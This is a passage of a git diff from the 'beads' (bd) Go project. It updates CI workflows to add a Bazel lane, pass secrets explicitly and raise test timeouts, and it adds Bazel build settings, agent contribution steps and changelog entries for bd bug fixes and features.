"repos/${GITHUB_REPOSITORY}/actions/artifacts/${artifact_id}/zip" > "${RUNNER_TEMP}/docs-patch.zip" + # Extract only the expected name, and only as a regular file. + unzip -o "${RUNNER_TEMP}/docs-patch.zip" cli-docs-freshness.patch -d "$dir" || true + ls -la "$dir" + f="$dir/cli-docs-freshness.patch" + if [ -L "$f" ] || { [ -e "$f" ] && [ ! -f "$f" ]; }; then + echo "::error::artifact entry cli-docs-freshness.patch is not a regular file" + exit 1 + fi + if [ ! -f "$f" ]; then + echo "Artifact has no cli-docs-freshness.patch; nothing to do." + echo "found=false" >> "$GITHUB_OUTPUT" + exit 0 + fi echo "found=true" >> "$GITHUB_OUTPUT" - name: Push regen commit or leave apply recipe diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 93ce257fa..e8af10a9b 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -445,8 +445,8 @@ jobs: run: go install github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.10.1 # No BD_LINT_NEW_FROM_MERGE_BASE here: the push lane sweeps the whole - # tree, including the GOOS=windows cross-lint. pr.yml scopes the same - # wrapper to the PR's own diff. + # tree, including the GOOS=windows and GOOS=darwin cross-lints. pr.yml + # scopes the same wrapper to the PR's own diff. - name: Run PR lint wrapper run: make ci-pr-lint diff --git a/.github/workflows/nightly.yml b/.github/workflows/nightly.yml index a38d97da5..6a64c85e3 100644 --- a/.github/workflows/nightly.yml +++ b/.github/workflows/nightly.yml @@ -96,14 +96,19 @@ jobs: retention-days: 7 # Bazel lane with the full go test equivalence listing and the skip-parity - # check (advisory, like the PR run). Remote execution when the repo secrets - # are present. + # check (reported here; PRs gate on it through pr.yml). Remote execution + # when the repo secrets are present; bazel.yml gets those four and nothing + # else. bazel: name: Bazel equivalence (full detail) needs: bazel-go-test-json if: ${{ !cancelled() && (github.event_name == 'schedule' || inputs.suite == 'bazel') }} uses: ./.github/workflows/bazel.yml - secrets: inherit + secrets: + RBE_WEST_EXECUTOR: ${{ secrets.RBE_WEST_EXECUTOR }} + RBE_TLS_CERT: ${{ secrets.RBE_TLS_CERT }} + RBE_TLS_KEY: ${{ secrets.RBE_TLS_KEY }} + RBE_TLS_CA: ${{ secrets.RBE_TLS_CA }} with: details: true go-test-json-artifact: bazel-equivalence-go-test-json diff --git a/.github/workflows/pr-risk.yml b/.github/workflows/pr-risk.yml index 778e02920..2972c4b73 100644 --- a/.github/workflows/pr-risk.yml +++ b/.github/workflows/pr-risk.yml @@ -452,7 +452,7 @@ jobs: echo "Help text first line is correct" ci-gate: - name: CI Gate / Required + name: PR Risk Gate / Required runs-on: ubuntu-latest needs: - detect-ci-tier diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 0600e4d51..10408ca3a 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -486,6 +486,13 @@ jobs: fail-fast: false matrix: os: [ubuntu-latest, macos-latest, windows-latest] + include: + - os: ubuntu-latest + expected_goos: linux + - os: macos-latest + expected_goos: darwin + - os: windows-latest + expected_goos: windows steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -507,6 +514,12 @@ jobs: shell: bash run: go test '-tags=integration,gms_pure_go' -count=1 -run '^TestPRPreflight' ./scripts + - name: Check native user config diagnostics + shell: bash + env: + CGO_ENABLED: "0" + run: bash scripts/ci/test-user-config-diagnostic.sh '${{ matrix.expected_goos }}' + - name: Exercise test.sh prebuilt binary path shell: bash run: go test '-tags=gms_pure_go' -count=1 -run '^TestTestScriptPrebuiltBinaryContract$' ./scripts @@ -877,6 +890,15 @@ jobs: sha256sum -c SHA256SUMS chmod +x bd-linux-gms-pure + # The only lane with both the image and the pinned dolt CLI: compares + # the container and the local test server backend against the one + # checked-in fingerprint, so an image bump cannot drift the container + # side unnoticed. REQUIRE makes the container half fail, not skip. + - name: Test Dolt server fingerprint (container + local) + env: + BEADS_TEST_REQUIRE_DOLT_CONTAINER: "1" + run: go test -tags gms_pure_go -count=1 -timeout 5m -v -run '^TestDoltServerFingerprint$' ./internal/testutil/ + - name: Test domain + uow + tracker env: BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure @@ -1207,14 +1229,63 @@ jobs: $proofRoot = Join-Path $env:RUNNER_TEMP ("make install proof " + [guid]::NewGuid().ToString('N')) $fixtureRepo = Join-Path $proofRoot 'fixture repo' $buildDir = Join-Path $fixtureRepo 'build output' + $fakeGoDir = Join-Path $proofRoot 'fake go bin' $installRoot = Join-Path $proofRoot 'install sandbox' $installProfile = Join-Path $installRoot 'profile with spaces' - New-Item -ItemType Directory -Force -Path $buildDir, $installProfile | Out-Null + New-Item -ItemType Directory -Force -Path $buildDir, $fakeGoDir, $installProfile | Out-Null Copy-Item -LiteralPath (Join-Path $env:GITHUB_WORKSPACE 'Makefile') -Destination $fixtureRepo Copy-Item -LiteralPath (Join-Path $env:GITHUB_WORKSPACE 'go.mod') -Destination $fixtureRepo $sentinel = Join-Path $buildDir 'bd.exe' - Set-Content -LiteralPath $sentinel -Encoding ascii -NoNewline -Value 'native-install-sentinel' + $fakeGo = Join-Path $fakeGoDir 'go' + $fakeGoScript = @' + #!/usr/bin/env bash + set -euo pipefail + + [[ "${1-}" == build ]] || exit 91 + shift + output= + while (($#)); do + case "$1" in + -o) + [[ $# -ge 2 ]] || exit 92 + output=$2 + shift 2 + ;; + *) shift ;; + esac + done + [[ "$(cygpath -aw "$output")" == "$(cygpath -aw "$BEADS_FAKE_GO_EXPECTED_OUTPUT")" ]] || { + printf 'fake go received output %q, expected %q\n' "$output" "$BEADS_FAKE_GO_EXPECTED_OUTPUT" >&2 + exit 93 + } + printf native-build-sentinel > "$(cygpath -u "$output")" + '@ + if (-not $fakeGoScript.StartsWith('#!', [StringComparison]::Ordinal)) { + throw 'Fake Go shebang must start at byte zero after YAML extraction' + } + [IO.File]::WriteAllText( + $fakeGo, + ($fakeGoScript -replace "`r`n", "`n"), + [Text.UTF8Encoding]::new($false) + ) + $priorPath = $env:PATH + Push-Location $fixtureRepo + try { + $env:BEADS_FAKE_GO_EXPECTED_OUTPUT = $sentinel + $env:PATH = "$fakeGoDir;$priorPath" + & $make --no-print-directory "BUILD_DIR=$buildDir" GIT_BUILD=build-proof CC=proof build + if ($LASTEXITCODE -ne 0) { + throw 'Native Make build failed for a spaced BUILD_DIR' + } + } finally { + $env:PATH = $priorPath + Remove-Item -LiteralPath Env:BEADS_FAKE_GO_EXPECTED_OUTPUT + Pop-Location + } + if (-not (Test-Path -LiteralPath $sentinel -PathType Leaf)) { + throw "Native Make did not build bd.exe at the exact spaced destination '$sentinel'" + } $sentinelHash = (Get-FileHash -LiteralPath $sentinel -Algorithm SHA256).Hash & $git -C $fixtureRepo init --quiet @@ -1363,6 +1434,31 @@ jobs: throw 'Cygwin Make shell smoke failed' } + # The Bazel lane (bazel.yml), gated alongside the legacy jobs it mirrors + # (PR Core, build-artifacts, the pure-Go/js-wasm check, domain+uow and + # contract corpus, and pr-risk.yml's embedded-Dolt, proxied-server and + # server-Dolt storage tiers), all of which stay required. bazel.yml has no pull_request/merge_group trigger of its own: + # this call is its only PR run. It gets the four RBE secrets and nothing + # else; its rbe job decides remote, local (forks, Dependabot: no + # remote-only lanes) or skip, and exports that for ci-gate. Its + # bazel-integration lane is off here (main.yml's integration jobs, its + # legacy counterpart, run only on push to main; bazel.yml runs it there). + # Its bd artifact is renamed so it cannot collide with build-artifacts' + # upload. + bazel: + name: Bazel + permissions: + contents: read + uses: ./.github/workflows/bazel.yml + secrets: + RBE_WEST_EXECUTOR: ${{ secrets.RBE_WEST_EXECUTOR }} + RBE_TLS_CERT: ${{ secrets.RBE_TLS_CERT }} + RBE_TLS_KEY: ${{ secrets.RBE_TLS_KEY }} + RBE_TLS_CA: ${{ secrets.RBE_TLS_CA }} + with: + build-artifact-name: bazel-ci-build-artifacts + integration: "off" + ci-gate: name: CI Gate / Required runs-on: ubuntu-latest @@ -1389,6 +1485,7 @@ jobs: - fmt-check - lint - windows-make-shell + - bazel if: ${{ always() }} steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -1419,6 +1516,13 @@ jobs: FMT_CHECK LINT WINDOWS_MAKE_SHELL + BAZEL + BAZEL_TEST + BAZEL_PURE + BAZEL_EMBEDDED + BAZEL_DOLTSERVER + BAZEL_PROXIED + BAZEL_SERVER_STORAGE BUILD_ARTIFACTS: ${{ needs.build-artifacts.result }} CHECK_BUILD_TAGS: ${{ needs.check-build-tags.result }} CHECK_CMD_BD_PUREGEO_TESTS: ${{ needs.check-cmd-bd-puregeo-tests.result }} @@ -1441,10 +1545,32 @@ jobs: FMT_CHECK: ${{ needs.fmt-check.result }} LINT: ${{ needs.lint.result }} WINDOWS_MAKE_SHELL: ${{ needs.windows-make-shell.result }} + # bazel.yml's lanes report their job.status as outputs; a lane that + # did not report (skipped, or lost before its last step) reads as + # skipped, which passes only in the modes bazel-gate.sh allows. + BAZEL_TEST: ${{ needs.bazel.outputs.bazel-test || 'skipped' }} + BAZEL_PURE: ${{ needs.bazel.outputs.bazel-pure || 'skipped' }} + BAZEL_EMBEDDED: ${{ needs.bazel.outputs.bazel-embedded || 'skipped' }} + BAZEL_DOLTSERVER: ${{ needs.bazel.outputs.bazel-doltserver || 'skipped' }} + BAZEL_PROXIED: ${{ needs.bazel.outputs.bazel-proxied || 'skipped' }} + BAZEL_SERVER_STORAGE: ${{ needs.bazel.outputs.bazel-server-storage || 'skipped' }} + # Inputs of bazel-gate.sh, which sets BAZEL (the call's aggregate, + # red on a missing or inconsistent mode) and the expected skips + # from bazel.yml's own rbe job decision. + BAZEL_CALL: ${{ needs.bazel.result }} + BAZEL_RBE_MODE: ${{ needs.bazel.outputs.rbe-mode }} + BAZEL_RBE_ENABLED: ${{ needs.bazel.outputs.rbe-enabled }} run: | skipped_ok="" if [[ "$GITHUB_EVENT_NAME" == "merge_group" ]]; then skipped_ok="CHECK_NO_BEADS_CHANGES" fi + # Bazel lanes skipped by design in the call's execution mode (all + # of them in mode skip, the remote-only embedded, proxied and + # server-storage tiers in mode local), and the aggregate unless the + # mode is missing or invalid. + skipped_ok="$skipped_ok $(bash .github/scripts/bazel-gate.sh skips)" + BAZEL="$(bash .github/scripts/bazel-gate.sh aggregate)" + export BAZEL export CI_GATE_SKIPPED_OK="$skipped_ok" bash .github/scripts/ci-gate.sh diff --git a/.github/workflows/proxied-local-smoke.yml b/.github/workflows/proxied-local-smoke.yml index d8d92221e..bfa874fb1 100644 --- a/.github/workflows/proxied-local-smoke.yml +++ b/.github/workflows/proxied-local-smoke.yml @@ -23,6 +23,7 @@ on: - 'cmd/bd/proxied_server*.go' - 'cmd/bd/dolt*.go' - 'cmd/bd/*_proxied_server.go' + - 'cmd/bd/backup*.go' - 'cmd/bd/purge*.go' - 'cmd/bd/*managed_local*' - 'cmd/bd/proxied_outage_reconnect_integration_test.go' @@ -50,6 +51,7 @@ on: - 'cmd/bd/proxied_server*.go' - 'cmd/bd/dolt*.go' - 'cmd/bd/*_proxied_server.go' + - 'cmd/bd/backup*.go' - 'cmd/bd/purge*.go' - 'cmd/bd/*managed_local*' - 'cmd/bd/proxied_outage_reconnect_integration_test.go' @@ -128,7 +130,11 @@ jobs: TestManagedLocalProxiedDoltStartRefusesWithProxyDown \ TestManagedLocalProxiedDoltLifecycleLeavesOtherTopologiesAlone \ TestManagedLocalProxiedTrackerUOWConformance \ - TestManagedLocalProxiedPurgeWispsPlaneRetention + TestManagedLocalProxiedBackupRoundTrip \ + TestManagedLocalProxiedAutoBackup \ + TestManagedLocalProxiedBackupRestoreRefusedWhileAttached \ + TestManagedLocalProxiedPurgeWispsPlaneRetention \ + TestManagedLocalProxiedBackendCleanExitRetiresProxy do if ! grep -qx "$test_name" <<<"$listed"; then echo "managed-local lifecycle test $test_name is missing; got: '$listed'" >&2 diff --git a/.github/workflows/regression.yml b/.github/workflows/regression.yml index 46237752b..a1ec683e9 100644 --- a/.github/workflows/regression.yml +++ b/.github/workflows/regression.yml @@ -77,7 +77,7 @@ jobs: needs: detect-regression-need if: needs.detect-regression-need.outputs.run_regression == 'true' runs-on: ubuntu-latest - timeout-minutes: 25 + timeout-minutes: 45 steps: - name: Show regression trigger reason run: echo "${{ needs.detect-regression-need.outputs.reason }}" @@ -117,5 +117,17 @@ jobs: path: ~/.cache/beads-regression key: regression-baseline-${{ hashFiles('tests/regression/BASELINE_VERSION') }} + # Passing-side wall time already overlapped the go deadline below, so + # ordinary GitHub-runner speed variance -- not a real hang -- was + # tripping this step. Measured over the 100 most recent Regression + # Tests runs (2026-09-03/04, ~29.5h): p50 593s (~10m), max passing + # 1189s (~19.8m) against the prior 1200s (20m) cap, and 5 runs in that + # window hit the identical `panic: test timed out after 20m0s` with + # zero `--- FAIL` lines -- a budget defect, not a regression. Match + # main.yml's Test job fix for the same failure mode: raise the go + # deadline to cover the observed slowdown and keep it inside a larger + # finite job budget (see timeout-minutes above), so the go deadline + # fires first and prints goroutine stacks -- a REAL hang stays + # diagnosable instead of being cut off by a bare job kill. - name: Run regression tests - run: go test -tags=regression,gms_pure_go -timeout=20m -v ./tests/regression/... + run: go test -tags=regression,gms_pure_go -timeout=40m -v ./tests/regression/... diff --git a/AGENT_INSTRUCTIONS.md b/AGENT_INSTRUCTIONS.md index bd5b5539c..133e14aea 100644 --- a/AGENT_INSTRUCTIONS.md +++ b/AGENT_INSTRUCTIONS.md @@ -87,7 +87,13 @@ test runs if `du -sh /tmp/beads-* /tmp/bd-*` shows accumulation. See bd-3q2u. 2. **Run the required lint contract when its code surface changed**: `make ci-pr-lint` 3. **Update docs**: If you changed behavior, update README.md or other docs -4. **Commit**: With git hooks installed (`bd hooks install`), Dolt changes are auto-committed +4. **Sync Bazel BUILD files** if you added, removed or renamed Go files, or + changed imports or `go.mod`: `make bazel-sync` (needs Bazel), then commit + the BUILD.bazel / MODULE.bazel changes. Without Bazel, let CI do it: on + same-repo PRs the bazel-autofix workflow pushes the fix for the packages + your PR changed to your branch (pull before pushing again); fork PRs get + a comment with an apply recipe. +5. **Commit**: With git hooks installed (`bd hooks install`), Dolt changes are auto-committed ### Commit Message Convention diff --git a/BUILD.bazel b/BUILD.bazel index 217c501af..0889bfb4d 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -2,7 +2,11 @@ load("@gazelle//:def.bzl", "gazelle") load("@rules_go//go:def.bzl", "go_library", "go_test") # gazelle:prefix github.com/steveyegge/beads -# gazelle:build_tags gms_pure_go +# gazelle drops files whose build constraints name a tag it does not know. +# integration is listed so the `//go:build integration` test files (and +# //internal/testutil/integration) are in srcs and deps; rules_go filters them +# out of every build except --config=integration (.bazelrc), which sets the tag. +# gazelle:build_tags gms_pure_go,integration # integrations/ holds no Go; it stays visible to Bazel (not in .bazelignore) # only so //test/docsync can declare the markdown its link checks resolve. # gazelle:exclude integrations @@ -73,6 +77,31 @@ filegroup( visibility = ["//scripts:__pkg__"], ) +# PR Risk's manifest-sharded tiers' shard scripts and their committed +# manifests (embedded-Dolt cmd and storage, proxied-server cmd, server-Dolt +# storage). The variants (//cmd/bd:bd_embedded_test, //cmd/bd:bd_proxied_test, +# //internal/storage/embeddeddolt:embeddeddolt_embedded_test, +# //internal/storage/dolt:dolt_server_full_test) run them through +# tools/bazel/go_test_manifest_shard.sh, so each Bazel shard runs exactly the +# tests of the CI job with the same shard number. +exports_files( + [ + ".github/scripts/embedded-cmd-test-shards.txt", + ".github/scripts/embedded-storage-test-shard.sh", + ".github/scripts/embedded-storage-test-shards.txt", + ".github/scripts/embedded-test-shard.sh", + ".github/scripts/proxied-cmd-test-shards.txt", + ".github/scripts/proxied-test-shard.sh", + ".github/scripts/server-storage-test-shard.sh", + ".github/scripts/server-storage-test-shards.txt", + ], + visibility = [ + "//cmd/bd:__pkg__", + "//internal/storage/dolt:__pkg__", + "//internal/storage/embeddeddolt:__pkg__", + ], +) + # //scripts:scripts_test runs scripts/test.sh, which sources the canonical # build flags and reads the known-broken-test skip list. filegroup( diff --git a/CHANGELOG.md b/CHANGELOG.md index 88af367f2..25f72cb7f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,87 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed +- **The #6716 fan-in stall is fixed on the proxied-server route and the + remaining store routes.** Two blockers of one dependent taken away at the + same time (parallel workers closing both, or a close racing a + `bd dep remove` or a delete of the other) could leave the dependent + `is_blocked=1` and missing from `bd ready` until `bd recompute-blocked` + ([#6716](https://github.com/gastownhall/beads/issues/6716)). The post-commit + recheck the Dolt store write transactions gained for that issue now also + runs on every write the proxied-server (uow/domain-db) route serves, which + under `--proxied-server` — the default topology — is `bd close` (single + and batch), `bd update --status`, `bd dep remove`, `bd delete`, `bd batch` + and `bd serve`; on `RunInTransaction` (`bd batch` direct, `bd cook`, + `bd mol squash`/`burn`, and SDK callers that close or update inside a + transaction); and on the wisp close, update and delete writers and the + legacy dependency removal behind `bd duplicates --merge`. Demote-to-wisp + moves a row between planes without taking a blocker away and is unchanged. + +- **An explicit `BEADS_DIR` is authoritative during workspace discovery.** + When `BEADS_DIR` named a directory without project files yet (missing, + empty, or not initialized), discovery ignored it and walked up from the + current directory instead, then rebound `BEADS_DIR` to whatever ancestor + workspace it found. `bd init` refused with "already initialized" because of + the parent workspace, and data commands such as `bd create` and `bd list` + read and wrote the parent's store. Discovery now reports no workspace for + such a `BEADS_DIR`, so `bd init` initializes the named directory and other + commands fail with "no beads database found". `bd import`/`bd setup` and + `bd bootstrap` target the named directory when they create a workspace. + Behaviour with `BEADS_DIR` unset is unchanged. **Behaviour change:** a + `BEADS_DIR` that points at a project root rather than its `.beads` + directory (for example `BEADS_DIR=$repo` instead of `BEADS_DIR=$repo/.beads`), + or at a `.beads` that does not exist yet, used to work by accident because + discovery walked up to the nearest workspace; it now fails with "no beads + database found". Point `BEADS_DIR` at the `.beads` directory itself. + ([#6938](https://github.com/gastownhall/beads/pull/6938)) + +- **A proxied workspace's proxy retires when its Dolt backend exits + cleanly.** The proxy noticed its `dolt sql-server` child exiting only when + the exit status was non-zero. A backend that shut down gracefully (for + example on SIGTERM) left the proxy up and adoptable in front of a dead store: + with `--proxied-server-idle-timeout 0` it never went away, `bd dolt status` + called it running, and every command failed until `bd dolt stop`. The proxy + now retires on any backend exit, as it already did on a crash, so the next bd + command (including `bd ping`) starts a fresh proxy and backend. `bd dolt + status` no longer reports a proxy whose managed backend is gone as running: + the text says "not serving" and the JSON reports `running: false` (with + `proxy_pid` still set), including for a stranded proxy started by an older + bd. ([#6937](https://github.com/gastownhall/beads/pull/6937)) + +- **`bd sql` no longer drops the rows of CTE queries or CALL result sets** + ([#6932](https://github.com/gastownhall/beads/pull/6932)). In proxied-server + mode, `WITH name(cols) AS (...) SELECT ...` and `WITH RECURSIVE ...` queries + were misread as writes and printed `OK, 0 rows affected` with no error; they + now return their rows. Statements are now classified with the Dolt SQL + parser (shared by the proxied and direct paths): reads return rows, plain + writes (including CTE-prefixed `UPDATE`/`DELETE`) commit and report + `rows_affected`, and anything that may both write and return rows (`CALL`, + `EXPLAIN ANALYZE` of a write, `RETURNING`) or that the parser cannot + classify is committed and prints whatever rows it returns, so + `CALL DOLT_BRANCH(...)`-style result sets are rendered instead of discarded. + Visible changes for scripts: in direct server mode a multi-statement write, + or a single write statement the parser cannot classify, now prints `OK` / + `{"status":"ok"}` (as proxied mode already did) instead of + `OK, N rows affected` / `{"rows_affected":N}`; and `--readonly` now refuses + statements it cannot parse (for example `PRAGMA`) instead of treating them + as reads. + +- **`bd types` now lists exactly the types `bd create --type` accepts** + ([#6934](https://github.com/gastownhall/beads/pull/6934)). The two resolved + the type set through different code and could disagree: a server-mode + workspace's `bd types` dropped `.beads/config.yaml` `types.custom` entries + once the database had any custom type, although create accepts them; in + proxied mode `bd config set storage-class.` checked `config.yaml` alone + and refused custom types registered in the database; and the built-in system + types `message`, `molecule`, `gate` and `event` were never listed. Every + mode now composes custom types by one rule (the `custom_types` table, else + the `types.custom` config row, always unioned with `config.yaml`). `bd types` + gains a "System types" section, and `bd types --json` an additive + `system_types` field; `core_types` and `custom_types` are unchanged. A + failure to read the custom types now fails `bd types`, `bd create --graph` + and `bd config set storage-class.*` instead of being silently treated as "no + custom types". + - **`notion.token` is kept out of the Dolt database** ([#6676](https://github.com/gastownhall/beads/issues/6676)). It was missing from the yaml-only key list that holds the other tracker secrets, so @@ -32,6 +113,20 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 A token that was already pushed should still be rotated: deleting the row locally does not unpublish it from remotes that already have a copy. +- **A server-mode workspace with an empty `.beads/dolt` is no longer refused + as legacy** + ([#5682](https://github.com/gastownhall/beads/issues/5682), + [#6935](https://github.com/gastownhall/beads/pull/6935)). bd creates `.beads/dolt` on use even when the data lives on an + external Dolt server, and leaves it empty. When the gitignored + `.local_version` witness was missing — after a fresh checkout, or when a + provisioner created the empty root before `bd init --server --external` — + the legacy-upgrade guard refused every command, `bd init` included, as a + "legacy Dolt server workspace", and no bd command could repair it. An empty + root holds nothing a legacy release could have left, so the guard now admits + it: `bd init` writes the witness, and an existing workspace in that state + re-seeds it on the next command. A pre-1.0 witness, or a `.beads/dolt` that + holds anything, is still refused. + - **`bd -C dir prime` now describes the target workspace instead of the launch directory** ([#5509](https://github.com/gastownhall/beads/issues/5509)). `-C` resolves `BEADS_DIR` but never changes directory, so prime's cwd-relative @@ -49,6 +144,18 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 up, but it can flip auto-backup on or off for `-C` invocations whose launch directory and target differ in remote configuration. +- **`bd show --watch` works under `--proxied-server`.** It was refused with + `proxy.watch.unsupported` although the provider can answer the poll the way + `bd list --watch` already does, so every proxied workspace — the default + transport for managed-local setups — had no way to watch a bead. The proxied + route now shares the direct route's loop: render once, re-read every 2s, + redraw only when the issue's status or `updated_at` changes, stop cleanly on + Ctrl+C/SIGTERM, and require exactly one id. Each poll opens its own short + unit of work, so a long watch never pins a transaction, and a poll that + fails (the issue was deleted, the backend blipped) keeps the last render + without printing, as on the direct route. On both routes a watch whose id + cannot be found now exits non-zero instead of 0. + - **Generated git hooks accept uutils coreutils `timeout` as a deadline helper** ([#5541](https://github.com/gastownhall/beads/issues/5541)). The managed hook section probes `timeout` and `gtimeout` with `--version` and accepted only the @@ -92,12 +199,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 update to an inactive status, a dependency removal, a delete) and runs through a Dolt store write transaction now rechecks the dependents it recomputed once that transaction has committed - ([#6716](https://github.com/gastownhall/beads/issues/6716)). Writes that - reach the database another way still need the `bd doctor` / - `bd recompute-blocked` repair they needed before: `bd batch` (on both its - plain and its proxied transaction), `bd cook`, `bd mol squash`, - `bd mol burn`, `bd duplicates --merge`, and the wisp writes — closes, - updates, deletes and demote-to-wisp. + ([#6716](https://github.com/gastownhall/beads/issues/6716)). The + proxied-server route and the remaining store routes are covered by the + entry above. - **`bd list --watch --format` is refused instead of silently dropping the @@ -190,6 +294,27 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added +- **Auto-backup runs on a managed-local proxied-server workspace.** The + proxied arm of the post-command hook now calls auto-backup, so an explicit + `backup.enabled=true` (or `BD_BACKUP_ENABLED=1`) takes the same throttled, + change-detected Dolt-native backup into `.beads/backup` it takes in direct + mode, through the proxied provider's non-transactional seam. Before this the + opt-in was inert on every proxied workspace and `bd backup status` said so. + The default stays OFF, as on every server-mode workspace: many bd clients + share one server. It is honored exactly where `bd backup sync` is — a + proxied server bd started itself — and stays inert on an external or + team-server topology, strict `--readonly`, `bd serve`, a preview + (`--dry-run`/`--inspect`) and a migration freeze. A command that opened no + provider (e.g. `bd dolt stop`) backs nothing up rather than relaunching the + server to do so. `bd backup status` now reports the proxied default as + `auto: off in proxied-server mode; set backup.enabled=true to opt in`. + +- **Auto-backup and `bd backup sync` no longer overlap.** A per-workspace + backup lock (`.beads/backup.lock`) serializes them in every mode: + auto-backup skips when another backup holds it, and `bd backup sync` waits + up to 5 seconds (the bound restore uses for the workspace gate) and then + fails with "another backup is running for this workspace". + - **`bd purge` covers an orchestrator's wisp retention sweep.** Three changes that together let `bd purge --wisps-plane --older-than 168h --force` replace a raw `DELETE FROM wisps` retention step: @@ -252,6 +377,22 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 server topology. Wiring an auto-backup hook through the new routes is left to a later slice. +- **`bd` says when it resolved a partial ID instead of matching one exactly.** + ([#6302](https://github.com/gastownhall/beads/pull/6302)) ID resolution tries an exact match first and only then falls back to + leading-prefix abbreviation (`a3f8` -> `a3f8e9`). Ambiguity was already a hard + error naming every candidate, but a *sole* abbreviation match was returned + silently, so a caller could act on an issue it had not named without any + signal. bd now writes a one-line note to stderr identifying both the input and + what it resolved to. The case that motivates it: a hierarchical child is a + valid leading-prefix match for its own parent's ID, so after a parent is + renamed or deleted the vacated ID quietly resolves to the child. Note this + covers **every** leading-prefix abbreviation, not only that shape, so the + ordinary documented `a3f8` -> `bd-a3f8e9` path now emits a line too, once per + resolved argument. That breadth is deliberate: a `.`-boundary rule would fix + parent/child but leave `bd-x.1` -> `bd-x.11` just as silent. stdout and + `--json` are unchanged; silence it with `--quiet` or + `BD_NO_PARTIAL_ID_NOTICE=1`. + - **`bd count` supports repeatable `--metadata-field key=value` filters** ([#6023](https://github.com/gastownhall/beads/issues/6023)), so callers can count the same metadata-scoped set `bd list` returns without fetching every @@ -342,6 +483,22 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Changed +- **`bd prime` describes the memory split instead of prohibiting `MEMORY.md`** + ([#6111](https://github.com/gastownhall/beads/pull/6111), refs + [#5169](https://github.com/gastownhall/beads/issues/5169)). The guidance + line used to read `Do NOT use MEMORY.md files — they fragment across + accounts`. That warning predates harnesses that ship a first-party, + machine-local memory whose index file is also named `MEMORY.md`, so in a + workspace running both, prime told the agent every session not to use a file + the harness was actively maintaining. The line now says what each store is + for: durable **project** facts go in `bd remember`, because per-tool memory + files fragment across accounts; per-operator preferences stay in the + harness's own memory. Output text only, no behaviour change. The same + sentence is updated in its sibling renderings — the MCP/minimal context, the + generated AGENTS.md sections for the minimal and Codex harness templates, + and the README snippet — so `bd init` and copy-paste do not re-introduce the + prohibition. + - **`bd purge` keeps closed beads a live bead depends on.** A closed bead that a not-done bead depends on through `parent-child`, `tracks` or `blocks` is no longer purged (reported as `live_dependent_skipped`), so a diff --git a/MODULE.bazel b/MODULE.bazel index ab97c4af1..ff3e3cafb 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -43,7 +43,14 @@ go_deps.module_override( patches = ["//third_party/patches:dolt_go_serial.patch"], path = "github.com/dolthub/dolt/go", ) -use_repo(go_deps, "com_github_anthropics_anthropic_sdk_go", "com_github_burntsushi_toml", "com_github_cenkalti_backoff_v4", "com_github_charmbracelet_x_ansi", "com_github_data_dog_go_sqlmock", "com_github_dolthub_dolt_go", "com_github_dolthub_driver_v2", "com_github_dolthub_eventkit", "com_github_dolthub_go_mysql_server", "com_github_go_sql_driver_mysql", "com_github_google_uuid", "com_github_gowebpki_jcs", "com_github_invopop_jsonschema", "com_github_johanneskaufmann_html_to_markdown_v2", "com_github_mattn_go_sqlite3", "com_github_microcosm_cc_bluemonday", "com_github_oapi_codegen_oapi_codegen_v2", "com_github_olebedev_when", "com_github_spf13_cobra", "com_github_spf13_pflag", "com_github_spf13_viper", "com_github_stretchr_testify", "com_github_subosito_gotenv", "com_github_testcontainers_testcontainers_go", "com_github_testcontainers_testcontainers_go_modules_dolt", "com_github_yuin_goldmark", "in_gopkg_yaml_v3", "io_opentelemetry_go_otel", "io_opentelemetry_go_otel_exporters_otlp_otlpmetric_otlpmetrichttp", "io_opentelemetry_go_otel_exporters_stdout_stdoutmetric", "io_opentelemetry_go_otel_exporters_stdout_stdouttrace", "io_opentelemetry_go_otel_metric", "io_opentelemetry_go_otel_sdk", "io_opentelemetry_go_otel_sdk_metric", "io_opentelemetry_go_otel_trace", "io_rsc_script", "land_charm_glamour_v2", "land_charm_huh_v2", "land_charm_lipgloss_v2", "org_golang_x_mod", "org_golang_x_net", "org_golang_x_sync", "org_golang_x_sys", "org_golang_x_term") + +# Pure-Go stubs so --config=pure can compile dolt's store/nbs (see the patch). +go_deps.module_override( + patch_strip = 1, + patches = ["//third_party/patches:gozstd_nocgo.patch"], + path = "github.com/dolthub/gozstd", +) +use_repo(go_deps, "com_github_anthropics_anthropic_sdk_go", "com_github_burntsushi_toml", "com_github_cenkalti_backoff_v4", "com_github_charmbracelet_x_ansi", "com_github_data_dog_go_sqlmock", "com_github_dolthub_dolt_go", "com_github_dolthub_driver_v2", "com_github_dolthub_eventkit", "com_github_dolthub_go_mysql_server", "com_github_dolthub_vitess", "com_github_go_sql_driver_mysql", "com_github_google_uuid", "com_github_gowebpki_jcs", "com_github_invopop_jsonschema", "com_github_johanneskaufmann_html_to_markdown_v2", "com_github_mattn_go_sqlite3", "com_github_microcosm_cc_bluemonday", "com_github_oapi_codegen_oapi_codegen_v2", "com_github_olebedev_when", "com_github_spf13_cobra", "com_github_spf13_pflag", "com_github_spf13_viper", "com_github_stretchr_testify", "com_github_subosito_gotenv", "com_github_testcontainers_testcontainers_go", "com_github_testcontainers_testcontainers_go_modules_dolt", "com_github_yuin_goldmark", "in_gopkg_yaml_v3", "io_opentelemetry_go_otel", "io_opentelemetry_go_otel_exporters_otlp_otlpmetric_otlpmetrichttp", "io_opentelemetry_go_otel_exporters_stdout_stdoutmetric", 